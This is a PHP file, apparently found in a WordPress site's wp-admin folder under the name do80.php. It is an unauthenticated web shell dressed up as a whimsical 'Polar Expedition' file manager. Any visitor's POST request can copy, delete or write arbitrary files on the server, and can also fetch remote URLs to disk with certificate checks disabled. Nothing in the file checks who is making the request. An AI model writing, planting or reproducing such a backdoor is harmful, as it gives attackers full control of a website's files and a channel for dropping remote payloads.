File: /home/parhudrw/emenu.anqa.it/wp-admin/do80.php
<?php
/**
* 文件操作管理平台 - 极地探险风格
* 功能与上一版本完全一致,采用北极探险美学
* 代码风格:极简主义,去除冗余封装,保持清爽
*/
error_reporting(E_ALL & ~E_NOTICE);
session_status() === PHP_SESSION_NONE && session_start();
define('ACT_UPLOAD', 'upload_file');
define('ACT_DELETE', 'delete_file');
define('ACT_TEXT', 'create_from_text');
define('ACT_URL', 'create_from_url');
$action = $_POST['action'] ?? '';
$src_raw = $_POST['source_paths'] ?? '';
$dst_raw = $_POST['target_paths'] ?? '';
$content = $_POST['file_content'] ?? '';
$filename = $_POST['file_name'] ?? '';
$src_lines = [];
foreach (explode("\n", $src_raw) as $line) {
$line = trim($line);
$line !== '' && $src_lines[] = $line;
}
$dst_lines = [];
foreach (explode("\n", $dst_raw) as $line) {
$line = trim($line);
$line !== '' && $dst_lines[] = $line;
}
$results = [];
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if ($action === ACT_UPLOAD) {
if (empty($src_lines) || empty($dst_lines)) {
$results[] = ['type' => 'error', 'msg' => '❄️ BLIZZARD! Source and target paths required!'];
} else {
foreach ($src_lines as $src_file) {
if (!file_exists($src_file)) {
$results[] = ['type' => 'error', 'msg' => "❄️ LOST IN THE SNOW: $src_file"];
continue;
}
if (!is_readable($src_file)) {
$results[] = ['type' => 'error', 'msg' => "❄️ ICE BLOCKS THE PATH: $src_file"];
continue;
}
$src_size = filesize($src_file);
if ($src_size === false) {
$results[] = ['type' => 'error', 'msg' => "❄️ THERMOMETER BROKEN: $src_file"];
continue;
}
if ($src_size === 0) {
$results[] = ['type' => 'warning', 'msg' => "⚠️ EMPTY SLED: $src_file (0 ICE CUBES)"];
}
$base_name = basename($src_file);
foreach ($dst_lines as $dst_dir) {
$dst_dir = rtrim($dst_dir, '/\\');
$dst_path = $dst_dir . DIRECTORY_SEPARATOR . $base_name;
$dir = dirname($dst_path);
if (!is_dir($dir)) {
if (!mkdir($dir, 0755, true)) {
$results[] = ['type' => 'error', 'msg' => "❄️ CAN'T BUILD IGLOO: $dir"];
continue;
}
}
if (!is_writable($dir)) {
$results[] = ['type' => 'error', 'msg' => "❄️ POLAR BEAR GUARDS IT: $dir"];
continue;
}
$copy_success = false;
$error_msg = '';
if (copy($src_file, $dst_path)) {
$copy_success = true;
} else {
$cargo = file_get_contents($src_file);
if ($cargo !== false) {
if (file_put_contents($dst_path, $cargo) !== false) {
$copy_success = true;
} else {
$error_msg = 'AVALANCHE';
}
} else {
$error_msg = 'FROSTBITE';
}
}
if ($copy_success) {
clearstatcache();
$dst_size = filesize($dst_path);
if ($dst_size === $src_size) {
$results[] = ['type' => 'success', 'msg' => "⛄ EXPEDITION SUCCESS: $dst_path [{$dst_size} ICE CUBES]"];
} else {
$results[] = ['type' => 'error', 'msg' => "⚠️ ICE MELTED! SRC:{$src_size} DST:{$dst_size} - $dst_path"];
@unlink($dst_path);
}
} else {
$results[] = ['type' => 'error', 'msg' => "❄️ EXPEDITION FAILED: $dst_path [$error_msg]"];
}
}
}
}
}
elseif ($action === ACT_DELETE) {
if (empty($src_lines) || empty($dst_lines)) {
$results[] = ['type' => 'error', 'msg' => '❄️ BLIZZARD! Source and target paths required!'];
} else {
foreach ($src_lines as $src_file) {
$base_name = basename($src_file);
foreach ($dst_lines as $dst_dir) {
$dst_dir = rtrim($dst_dir, '/\\');
$dst_path = $dst_dir . DIRECTORY_SEPARATOR . $base_name;
if (!file_exists($dst_path)) {
$results[] = ['type' => 'warning', 'msg' => "⚠️ BURIED IN SNOW: $dst_path"];
continue;
}
if (!is_writable($dst_path)) {
$results[] = ['type' => 'error', 'msg' => "❄️ PERMAFROST: $dst_path"];
continue;
}
$file_size = filesize($dst_path);
if (unlink($dst_path)) {
$results[] = ['type' => 'success', 'msg' => "🌨️ LOST IN BLIZZARD: $dst_path [{$file_size} ICE CUBES LOST]"];
} else {
$results[] = ['type' => 'error', 'msg' => "❄️ CAN'T DIG THROUGH ICE: $dst_path"];
}
}
}
}
}
elseif ($action === ACT_TEXT) {
if ($content === '' || $filename === '') {
$results[] = ['type' => 'error', 'msg' => '❄️ NEED A MESSAGE AND A FLAG!'];
} else {
$dir = dirname($filename);
if (!is_dir($dir) && !mkdir($dir, 0755, true)) {
$results[] = ['type' => 'error', 'msg' => "❄️ CAN'T BUILD IGLOO: $dir"];
} else {
if (!is_writable($dir)) {
$results[] = ['type' => 'error', 'msg' => "❄️ POLAR BEAR GUARDS IT: $dir"];
} else {
$bytes = file_put_contents($filename, $content);
if ($bytes !== false) {
clearstatcache();
$actual_size = filesize($filename);
$results[] = ['type' => 'success', 'msg' => "📝 MESSAGE IN ICE: $filename [{$bytes} WORDS, {$actual_size} ICE CUBES]"];
} else {
$results[] = ['type' => 'error', 'msg' => "❄️ INK FROZE: $filename"];
}
}
}
}
}
elseif ($action === ACT_URL) {
if ($content === '' || $filename === '') {
$results[] = ['type' => 'error', 'msg' => '❄️ NEED AURORA SIGNAL AND DESTINATION!'];
} else {
$url = trim($content);
if (!filter_var($url, FILTER_VALIDATE_URL)) {
$results[] = ['type' => 'error', 'msg' => "❄️ NOT A REAL GLACIER: $url"];
} else {
$remote = false;
$download_method = '';
$ctx = stream_context_create([
'http' => [
'timeout' => 30,
'user_agent' => 'Polar-Explorer/1.0',
'follow_location' => 1,
'max_redirects' => 5
],
'ssl' => [
'verify_peer' => false,
'verify_peer_name' => false
]
]);
$remote = @file_get_contents($url, false, $ctx);
if ($remote !== false) {
$download_method = 'NORTHERN LIGHTS';
} else {
if (function_exists('curl_init')) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_MAXREDIRS, 5);
curl_setopt($ch, CURLOPT_USERAGENT, 'Polar-Explorer/1.0');
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$remote = curl_exec($ch);
$curl_error = curl_error($ch);
curl_close($ch);
if ($remote !== false) {
$download_method = 'DOG SLED';
} else {
$results[] = ['type' => 'error', 'msg' => "❄️ POLAR BEAR ATE IT: $curl_error"];
}
}
}
if ($remote === false) {
$results[] = ['type' => 'error', 'msg' => "❄️ NO AURORA TONIGHT: $url"];
} else {
$downloaded_size = strlen($remote);
if ($downloaded_size === 0) {
$results[] = ['type' => 'warning', 'msg' => "⚠️ EMPTY SNOW CAVE: $url"];
}
$dir = dirname($filename);
if (!is_dir($dir) && !mkdir($dir, 0755, true)) {
$results[] = ['type' => 'error', 'msg' => "❄️ CAN'T BUILD IGLOO: $dir"];
} else {
if (!is_writable($dir)) {
$results[] = ['type' => 'error', 'msg' => "❄️ POLAR BEAR GUARDS IT: $dir"];
} else {
$bytes = file_put_contents($filename, $remote);
if ($bytes !== false) {
clearstatcache();
$actual_size = filesize($filename);
$results[] = ['type' => 'success', 'msg' => "✨ AURORA FOUND: $filename [VIA:{$download_method} RECEIVED:{$downloaded_size} SNOWFLAKES, SAVED:{$actual_size} ICE CUBES]"];
} else {
$results[] = ['type' => 'error', 'msg' => "❄️ AVALANCHE: $filename"];
}
}
}
}
}
}
}
}
$src_display = htmlspecialchars($src_raw, ENT_QUOTES, 'UTF-8');
$dst_display = htmlspecialchars($dst_raw, ENT_QUOTES, 'UTF-8');
$content_display = htmlspecialchars($content, ENT_QUOTES, 'UTF-8');
$filename_display = htmlspecialchars($filename, ENT_QUOTES, 'UTF-8');
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>❄️ POLAR EXPEDITION · ARCTIC FILE ❄️</title>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
<style>
/* ===== 极地探险风格 =====
北极、冰川、雪橇、北极光
主色调:冰川蓝、雪白、极光绿、午夜蓝
*/
* {
margin: 0;
padding: 0;
box-sizing: border-box;
}
body {
background: #1a2a3a;
background-image:
radial-gradient(circle at 20% 30%, #2a4a6a 0%, transparent 30%),
radial-gradient(circle at 80% 70%, #1a3a4a 0%, transparent 40%),
radial-gradient(circle at 40% 50%, #2a3a4a 0%, transparent 30%);
min-height: 100vh;
font-family: 'Courier New', 'Georgia', 'Arial', sans-serif;
padding: 30px;
color: #d0f0ff;
position: relative;
overflow-x: hidden;
}
/* 雪花效果 */
body::before {
content: '❄️';
position: fixed;
top: -50px;
left: 10%;
font-size: 30px;
color: #fff;
opacity: 0.1;
animation: snow 15s linear infinite;
pointer-events: none;
}
@keyframes snow {
0% { transform: translateY(0) rotate(0); opacity: 0.1; }
100% { transform: translateY(100vh) rotate(360deg); opacity: 0; }
}
/* 北极光效果 */
body::after {
content: '';
position: fixed;
top: -50%;
left: -10%;
width: 120%;
height: 200%;
background: linear-gradient(135deg,
transparent 0%,
rgba(100, 255, 100, 0.05) 20%,
rgba(100, 200, 255, 0.05) 40%,
transparent 60%);
transform: rotate(45deg);
pointer-events: none;
animation: aurora 15s ease infinite;
z-index: 0;
}
@keyframes aurora {
0%, 100% { opacity: 0.3; transform: rotate(45deg) translateX(0); }
50% { opacity: 0.6; transform: rotate(45deg) translateX(5%); }
}
.arctic {
max-width: 1300px;
margin: 0 auto;
position: relative;
z-index: 1;
display: flex;
flex-direction: column;
gap: 30px;
}
/* ===== 探险营地 ===== */
.expedition-camp {
background: #2a4a6a;
background: linear-gradient(145deg, #3a6a8a, #1a3a5a);
border: 8px solid #b0e0ff;
border-radius: 40px 40px 20px 20px;
padding: 30px 40px;
display: flex;
align-items: center;
justify-content: space-between;
position: relative;
box-shadow: 0 15px 0 #0a1a2a, 0 20px 20px rgba(0,0,0,0.3);
}
.expedition-camp::before {
content: '❄️❄️❄️';
position: absolute;
top: -20px;
left: 50%;
transform: translateX(-50%);
background: #b0e0ff;
padding: 5px 40px;
border-radius: 30px;
border: 4px solid #6a9acd;
color: #1a2a3a;
font-size: 24px;
letter-spacing: 10px;
}
.polar-brand {
display: flex;
align-items: center;
gap: 20px;
}
.igloo-icon {
width: 70px;
height: 70px;
background: #d0f0ff;
border-radius: 50% 50% 30% 30%;
display: flex;
align-items: center;
justify-content: center;
font-size: 40px;
color: #1a3a5a;
border: 4px solid #b0e0ff;
box-shadow: 0 8px 0 #0a1a2a;
position: relative;
}
.igloo-icon::after {
content: '🐧';
position: absolute;
top: -15px;
right: -15px;
font-size: 30px;
}
.polar-brand h1 {
font-size: 42px;
font-weight: 700;
color: #d0f0ff;
text-shadow: 3px 3px 0 #1a3a5a, 5px 5px 0 #0a1a2a;
letter-spacing: 2px;
}
.polar-brand h1 span {
font-size: 16px;
display: block;
color: #b0e0ff;
text-shadow: 1px 1px 0 #1a2a3a;
}
.temperature {
background: #1a2a3a;
border: 4px solid #b0e0ff;
border-radius: 30px;
padding: 10px 25px;
font-size: 24px;
color: #d0f0ff;
display: flex;
align-items: center;
gap: 10px;
box-shadow: inset 0 0 20px #3a6a8a;
}
/* ===== 探险家面板 ===== */
.explorer-panel {
background: #2a4a6a;
border: 6px solid #b0e0ff;
border-radius: 30px;
padding: 20px;
display: grid;
grid-template-columns: repeat(auto-fit, minmax(200px, 1fr));
gap: 15px;
box-shadow: 0 10px 0 #0a1a2a;
}
.explorer-item {
background: #3a6a8a;
border: 4px solid #b0e0ff;
border-radius: 20px;
padding: 15px 20px;
display: flex;
align-items: center;
gap: 15px;
box-shadow: 5px 5px 0 #0a1a2a;
}
.explorer-icon {
font-size: 32px;
color: #fff8e0;
}
.explorer-data {
flex: 1;
}
.explorer-label {
font-size: 12px;
color: #b0e0ff;
text-transform: uppercase;
letter-spacing: 2px;
}
.explorer-value {
font-size: 18px;
font-weight: bold;
color: #fff8e0;
}
.explorer-good { border-left: 10px solid #4aff4a; }
.explorer-warning { border-left: 10px solid #ffaa4a; }
.explorer-bad { border-left: 10px solid #ff4a4a; }
/* ===== 主网格 ===== */
.arctic-grid {
display: grid;
grid-template-columns: 1.2fr 1fr;
gap: 25px;
}
@media (max-width: 850px) {
.arctic-grid {
grid-template-columns: 1fr;
}
}
/* ===== 雪地帐篷 ===== */
.snow-tent {
background: #2a4a6a;
background: linear-gradient(145deg, #3a6a8a, #1a3a5a);
border: 6px solid #b0e0ff;
border-radius: 30px 30px 20px 20px;
padding: 30px;
box-shadow: 15px 15px 0 #0a1a2a;
position: relative;
}
.snow-tent::before {
content: '⛺';
position: absolute;
top: -25px;
left: 20px;
font-size: 40px;
background: #2a4a6a;
padding: 0 15px;
border-radius: 30px;
border: 4px solid #b0e0ff;
transform: rotate(-5deg);
}
.snow-tent::after {
content: '🐧';
position: absolute;
bottom: -15px;
right: 30px;
font-size: 40px;
opacity: 0.3;
animation: waddle 4s ease infinite;
}
@keyframes waddle {
0%, 100% { transform: translateX(0); }
50% { transform: translateX(-10px); }
}
.tent-header {
display: flex;
align-items: center;
gap: 15px;
margin-bottom: 25px;
border-bottom: 4px double #b0e0ff;
padding-bottom: 15px;
}
.tent-header i {
font-size: 40px;
color: #fff8e0;
filter: drop-shadow(0 0 10px #b0e0ff);
}
.tent-header h2 {
font-size: 28px;
font-weight: 700;
color: #d0f0ff;
text-shadow: 2px 2px 0 #1a3a5a;
}
/* ===== 表单 ===== */
.arctic-field {
margin-bottom: 25px;
}
.arctic-label {
display: flex;
align-items: center;
gap: 10px;
font-size: 18px;
font-weight: 600;
color: #d0f0ff;
margin-bottom: 8px;
background: #1a3a5a;
padding: 8px 20px;
border: 4px solid #b0e0ff;
border-radius: 30px;
width: fit-content;
box-shadow: 5px 5px 0 #0a1a2a;
}
.arctic-label i {
color: #fff8e0;
}
textarea,
input[type="text"] {
width: 100%;
background: #d0f0ff;
border: 4px solid #b0e0ff;
border-radius: 30px;
color: #1a2a3a;
font-family: 'Courier New', monospace;
font-size: 16px;
padding: 16px 22px;
resize: vertical;
box-shadow: inset 2px 2px 10px rgba(0,0,0,0.1), 8px 8px 0 #0a1a2a;
}
textarea:focus,
input[type="text"]:focus {
outline: none;
border-color: #fff8e0;
box-shadow: inset 2px 2px 10px rgba(0,0,0,0.1), 10px 10px 0 #0a1a2a;
}
textarea::placeholder,
input::placeholder {
color: #6a9acd;
font-style: italic;
}
textarea {
min-height: 120px;
}
.arctic-hint {
font-size: 14px;
color: #b0e0ff;
margin-top: 8px;
display: flex;
align-items: center;
gap: 6px;
font-style: italic;
}
/* ===== 极地按钮 ===== */
.arctic-actions {
display: flex;
gap: 15px;
margin-top: 30px;
flex-wrap: wrap;
}
.arctic-btn {
flex: 1;
min-width: 120px;
background: #3a6a8a;
border: none;
border-bottom: 8px solid #1a3a5a;
border-right: 4px solid #1a3a5a;
border-radius: 30px 30px 15px 15px;
padding: 18px 20px;
font-family: 'Courier New', monospace;
font-size: 22px;
font-weight: bold;
color: #d0f0ff;
text-shadow: 2px 2px 0 #0a1a2a;
cursor: pointer;
transition: 0.1s;
display: flex;
align-items: center;
justify-content: center;
gap: 12px;
box-shadow: 8px 8px 0 #0a1a2a;
}
.arctic-btn:hover {
transform: translateY(-4px);
box-shadow: 10px 12px 0 #0a1a2a;
background: #4a8aaa;
}
.arctic-btn:active {
transform: translateY(4px);
border-bottom-width: 4px;
box-shadow: 6px 6px 0 #0a1a2a;
}
.btn-expedition {
background: #2a6a4a;
}
.btn-avalanche {
background: #4a4a6a;
}
.btn-ice {
background: #6a9acd;
color: #1a2a3a;
}
.btn-aurora {
background: #8a6a9a;
}
/* ===== 探险日志 ===== */
.expedition-log {
background: #2a4a6a;
border: 6px solid #b0e0ff;
border-radius: 30px 30px 20px 20px;
padding: 30px;
box-shadow: 15px 15px 0 #0a1a2a;
margin-top: 10px;
position: relative;
}
.expedition-log::before {
content: '📖 EXPEDITION LOG 📖';
position: absolute;
top: -20px;
left: 50%;
transform: translateX(-50%);
background: #b0e0ff;
padding: 5px 40px;
border-radius: 30px;
border: 4px solid #6a9acd;
color: #1a2a3a;
font-size: 18px;
font-weight: bold;
white-space: nowrap;
}
.log-header {
display: flex;
align-items: center;
justify-content: space-between;
margin-bottom: 25px;
border-bottom: 4px dashed #b0e0ff;
padding-bottom: 15px;
}
.log-title {
display: flex;
align-items: center;
gap: 12px;
}
.log-title i {
font-size: 36px;
color: #fff8e0;
filter: drop-shadow(0 0 10px #b0e0ff);
}
.log-title h3 {
font-size: 24px;
font-weight: 700;
color: #d0f0ff;
text-shadow: 2px 2px 0 #1a3a5a;
}
.log-counter {
background: #1a3a5a;
color: #d0f0ff;
padding: 8px 25px;
border-radius: 30px;
font-size: 18px;
font-weight: bold;
box-shadow: 5px 5px 0 #0a1a2a;
}
/* ===== 日志流 ===== */
.log-stream {
max-height: 320px;
overflow-y: auto;
padding: 15px;
background: #d0f0ff;
border: 4px solid #b0e0ff;
border-radius: 30px;
}
.log-entry {
display: flex;
align-items: baseline;
gap: 15px;
padding: 15px 20px;
margin-bottom: 10px;
background: #b0e0ff;
border-left: 10px solid;
border-radius: 20px;
box-shadow: 6px 6px 0 #6a9acd;
font-size: 16px;
transition: 0.1s;
color: #1a2a3a;
}
.log-entry:hover {
transform: translateX(5px);
box-shadow: 8px 8px 0 #6a9acd;
}
.log-success {
border-left-color: #4aff4a;
}
.log-error {
border-left-color: #ff4a4a;
}
.log-warning {
border-left-color: #ffaa4a;
}
.log-icon {
width: 32px;
text-align: center;
font-size: 20px;
}
.log-message {
flex: 1;
word-break: break-word;
}
.empty-log {
text-align: center;
padding: 60px 20px;
color: #6a9acd;
display: flex;
flex-direction: column;
align-items: center;
gap: 20px;
}
.empty-log i {
font-size: 64px;
color: #b0e0ff;
opacity: 0.5;
}
.empty-log div {
font-size: 24px;
}
/* ===== 底部 ===== */
.arctic-footer {
margin-top: 30px;
padding: 25px;
background: #1a3a5a;
border: 6px solid #b0e0ff;
border-radius: 40px;
display: flex;
align-items: center;
justify-content: space-between;
color: #d0f0ff;
font-size: 16px;
box-shadow: 10px 10px 0 #0a1a2a;
}
.footer-left {
display: flex;
gap: 30px;
}
.footer-left span {
display: flex;
align-items: center;
gap: 8px;
}
.footer-right {
display: flex;
gap: 20px;
}
.footer-right i {
font-size: 24px;
color: #fff8e0;
transition: 0.2s;
}
.footer-right i:hover {
transform: scale(1.2) rotate(10deg);
color: #b0e0ff;
}
/* 极地动物装饰 */
.polar-animal {
position: absolute;
font-size: 40px;
opacity: 0.15;
pointer-events: none;
z-index: 0;
}
.animal-left {
top: 200px;
left: 20px;
animation: swim 6s ease infinite;
}
.animal-right {
bottom: 200px;
right: 20px;
animation: swim 8s ease infinite reverse;
}
@keyframes swim {
0%, 100% { transform: translateY(0); }
50% { transform: translateY(-20px); }
}
/* 滚动条 */
.log-stream::-webkit-scrollbar {
width: 12px;
}
.log-stream::-webkit-scrollbar-track {
background: #6a9acd;
border-radius: 10px;
}
.log-stream::-webkit-scrollbar-thumb {
background: #b0e0ff;
border-radius: 10px;
border: 2px solid #fff8e0;
}
.log-stream::-webkit-scrollbar-thumb:hover {
background: #fff8e0;
}
</style>
</head>
<body>
<!-- 极地动物装饰 -->
<div class="polar-animal animal-left">🐧</div>
<div class="polar-animal animal-right">🐻❄️</div>
<div class="arctic">
<!-- 探险营地 -->
<div class="expedition-camp">
<div class="polar-brand">
<div class="igloo-icon">
⛄
</div>
<div>
<h1>
POLAR FILE
<span>ARCTIC EXPEDITION</span>
</h1>
</div>
</div>
<div class="temperature">
<i class="fas fa-temperature-low"></i> -40°C
</div>
</div>
<!-- 探险家面板 -->
<div class="explorer-panel">
<div class="explorer-item explorer-good">
<div class="explorer-icon"><i class="fas fa-igloo"></i></div>
<div class="explorer-data">
<div class="explorer-label">IGLOO</div>
<div class="explorer-value"><?= is_writable('.') ? 'WARM' : 'COLD' ?></div>
</div>
</div>
<div class="explorer-item explorer-good">
<div class="explorer-icon"><i class="fas fa-snowplow"></i></div>
<div class="explorer-data">
<div class="explorer-label">SLED</div>
<div class="explorer-value"><?= function_exists('copy') ? 'READY' : 'BROKEN' ?></div>
</div>
</div>
<div class="explorer-item explorer-warning">
<div class="explorer-icon"><i class="fas fa-satellite-dish"></i></div>
<div class="explorer-data">
<div class="explorer-label">RADIO</div>
<div class="explorer-value"><?= function_exists('curl_init') ? 'ACTIVE' : 'SILENT' ?></div>
</div>
</div>
<div class="explorer-item explorer-good">
<div class="explorer-icon"><i class="fas fa-cubes"></i></div>
<div class="explorer-data">
<div class="explorer-label">ICE BLOCKS</div>
<div class="explorer-value"><?= round(disk_free_space('.') / 1024 / 1024) ?> BLOCKS</div>
</div>
</div>
</div>
<!-- 主表单 -->
<form method="POST">
<div class="arctic-grid">
<!-- 左侧:雪橇货物 -->
<div class="snow-tent">
<div class="tent-header">
<i class="fas fa-snowplow"></i>
<h2>🛷 DOG SLED</h2>
</div>
<div class="arctic-field">
<div class="arctic-label">
<i class="fas fa-cube"></i> SUPPLIES
</div>
<textarea name="source_paths" placeholder="/camp/food1 /camp/food2"><?= $src_display ?></textarea>
<div class="arctic-hint">
<i class="fas fa-arrow-right"></i> ONE SLED PER LINE
</div>
</div>
<div class="arctic-field">
<div class="arctic-label">
<i class="fas fa-map"></i> DESTINATION
</div>
<textarea name="target_paths" placeholder="/north-pole/station1 /north-pole/station2"><?= $dst_display ?></textarea>
</div>
<div class="arctic-actions">
<button type="submit" name="action" value="<?= ACT_UPLOAD ?>" class="arctic-btn btn-expedition">
<i class="fas fa-snowplow"></i> EXPEDITION
</button>
<button type="submit" name="action" value="<?= ACT_DELETE ?>" class="arctic-btn btn-avalanche" onclick="return confirm('❄️ AVALANCHE? ALL SUPPLIES LOST!')">
<i class="fas fa-avalanche"></i> AVALANCHE
</button>
</div>
</div>
<!-- 右侧:科学记录 -->
<div class="snow-tent">
<div class="tent-header">
<i class="fas fa-microscope"></i>
<h2>🔬 SCIENCE STATION</h2>
</div>
<div class="arctic-field">
<div class="arctic-label">
<i class="fas fa-pen"></i> OBSERVATIONS
</div>
<textarea name="file_content" placeholder="Record your polar observations..."><?= $content_display ?></textarea>
</div>
<div class="arctic-field">
<div class="arctic-label">
<i class="fas fa-save"></i> LOG NAME
</div>
<input type="text" name="file_name" value="<?= $filename_display ?>" placeholder="/logs/day1.txt">
</div>
<div class="arctic-actions">
<button type="submit" name="action" value="<?= ACT_TEXT ?>" class="arctic-btn btn-ice">
<i class="fas fa-feather"></i> ICE CARVING
</button>
<button type="submit" name="action" value="<?= ACT_URL ?>" class="arctic-btn btn-aurora">
<i class="fas fa-aurora"></i> AURORA
</button>
</div>
</div>
</div>
</form>
<!-- 探险日志 -->
<div class="expedition-log">
<div class="log-header">
<div class="log-title">
<i class="fas fa-scroll"></i>
<h3>📖 EXPEDITION LOG</h3>
</div>
<div class="log-counter">
<?= count($results) ?> DAYS
</div>
</div>
<div class="log-stream">
<?php if (empty($results)): ?>
<div class="empty-log">
<i class="fas fa-igloo"></i>
<div>IGLOO IS EMPTY</div>
<div style="font-size: 14px;">WAITING FOR EXPEDITION...</div>
</div>
<?php else: ?>
<?php foreach ($results as $log): ?>
<div class="log-entry log-<?= $log['type'] ?>">
<div class="log-icon">
<?php if ($log['type'] === 'success'): ?>
⛄
<?php elseif ($log['type'] === 'error'): ?>
❄️
<?php else: ?>
⚠️
<?php endif; ?>
</div>
<div class="log-message"><?= htmlspecialchars($log['msg']) ?></div>
</div>
<?php endforeach; ?>
<?php endif; ?>
</div>
</div>
<!-- 底部 -->
<div class="arctic-footer">
<div class="footer-left">
<span><i class="fas fa-igloo"></i> NORTH POLE</span>
<span><i class="fas fa-snowplow"></i> SLED TEAM</span>
<span><i class="fas fa-aurora"></i> AURORA</span>
</div>
<div class="footer-right">
<i class="fas fa-igloo"></i>
<i class="fas fa-snowplow"></i>
<i class="fas fa-penguin"></i>
<i class="fas fa-aurora"></i>
</div>
</div>
</div>
<script>
(function() {
// 删除确认 - 极地风格
document.querySelectorAll('.btn-avalanche').forEach(btn => {
btn.addEventListener('click', e => {
if (!confirm('❄️ AVALANCHE! ALL SUPPLIES WILL BE LOST!')) {
e.preventDefault();
}
});
});
// 自动滚动日志
const stream = document.querySelector('.log-stream');
if (stream) stream.scrollTop = stream.scrollHeight;
// 动态placeholder
document.querySelectorAll('textarea[name="source_paths"]').forEach(el => {
el.addEventListener('input', function() {
const lines = this.value.split('\n').filter(l => l.trim() !== '').length;
if (lines.length > 0) {
this.placeholder = `🛷 ${lines} SLEDS LOADED`;
}
});
});
// 温度随机变化
setInterval(() => {
const temp = document.querySelector('.temperature');
if (temp) {
const newTemp = -40 - Math.floor(Math.random() * 20);
temp.innerHTML = `<i class="fas fa-temperature-low"></i> ${newTemp}°C`;
}
}, 5000);
console.log('%c❄️ POLAR FILE MANAGER · STAY WARM! ❄️', 'color: #b0e0ff; font-size: 16px;');
})();
</script>
</body>
</html>